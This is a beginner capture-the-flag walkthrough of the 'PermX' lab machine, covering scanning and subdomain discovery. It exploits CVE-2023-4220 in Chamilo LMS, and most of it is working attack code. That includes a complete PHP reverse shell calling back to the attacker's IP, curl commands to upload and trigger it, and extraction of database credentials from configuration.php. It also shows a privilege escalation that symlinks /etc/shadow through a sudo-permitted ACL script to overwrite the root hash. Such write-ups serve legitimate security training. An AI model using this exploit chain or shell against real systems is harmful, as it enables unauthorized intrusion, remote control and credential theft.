Explore the fundamentals of cybersecurity in the PermX Capture The Flag (CTF) challenge, an easy-level experience, ideal for beginners! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible and perfect for those new to CTFs.

Add Hosts#

Edit the /etc/hosts file and add the following entries:

10.10.11.23 permx.htb

Script to add hosts automatically#

ip="10.10.11.23"
domain="permx.htb lms.permx.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping#

nmap -sCV permx.htb

Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-22 16:35 CEST
Nmap scan report for permx.htb (10.10.11.23)
Host is up (0.053s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_  256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: eLEARNING
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Subdomain Enumeration with ffuf#

ffuf -u http://permx.htb -H "Host:FUZZ.permx.htb" -w /usr/share/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -c -fc 302
  • Discovered Subdomains:
    • lms.permx.htb: [Status: 200, Size: 19347, Words: 4910, Lines: 353]

Exploiting CVE-2023-4220 on Chamilo LMS#

Make the file rce.php

Replace <vpn-ip> with your actual VPN IP to receive the connection.

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '<vpn-ip>';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
   $pid = pcntl_fork();
   if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
   }
   if ($pid) {
      exit(0);
   }
   if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
   }
   $daemon = 1;
} else {
   printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
   printit("$errstr ($errno)");
   exit(1);
}
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w") 
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
   printit("ERROR: Can't spawn shell");
   exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
   if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
   }
   if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
   }
   $read_a = array($sock, $pipes[1], $pipes[2]);
   $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
   if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
   }
   if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
   }
   if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
   }
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
   if (!$daemon) {
      print "$string\n";
   }
}
?> 

Start a listener for the reverse shell:

nc -lvnp 9001

Upload PHP Reverse Shell:

curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

Invoke the Uploaded Shell:

curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'

Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Press Ctrl+Z to background the shell, then run:

stty size; stty raw -echo; fg

As the last step, set the terminal environment:

export TERM=xterm;

Database Enumeration#

Navigate to the Chamilo LMS directory and look for the configuration.php file, which may contain database credentials.

cd /var/www/chamilo
find ./ -type f -name "configuration.php" -exec ls -l {} \;

Extract database credentials from the configuration file:

cat ./app/config/configuration.php | grep "db_"

Privilege Escalation#

SSH into the Server: Log in using mtz credentials (if found in the database):

ssh mtz@permx.htb

Check Sudo Permissions: Check what mtz can run with sudo:

sudo -l

Output:

(ALL : ALL) NOPASSWD: /opt/acl.sh

Exploit ACL Script for Privilege Escalation:

The script /opt/acl.sh can be used to manipulate file permissions. Create a symbolic link to /etc/shadow, the file storing password hashes, and manipulate its permissions.

ln -s /etc/shadow /home/mtz/shadow
sudo /opt/acl.sh mtz xrw /home/mtz/shadow

Edit the shadow file with nano to replace the root password hash with one you control.

nano /home/mtz/shadow

Gain Root Access: After editing the shadow file, you can switch to the root user using su:

su
cat /root/root.txt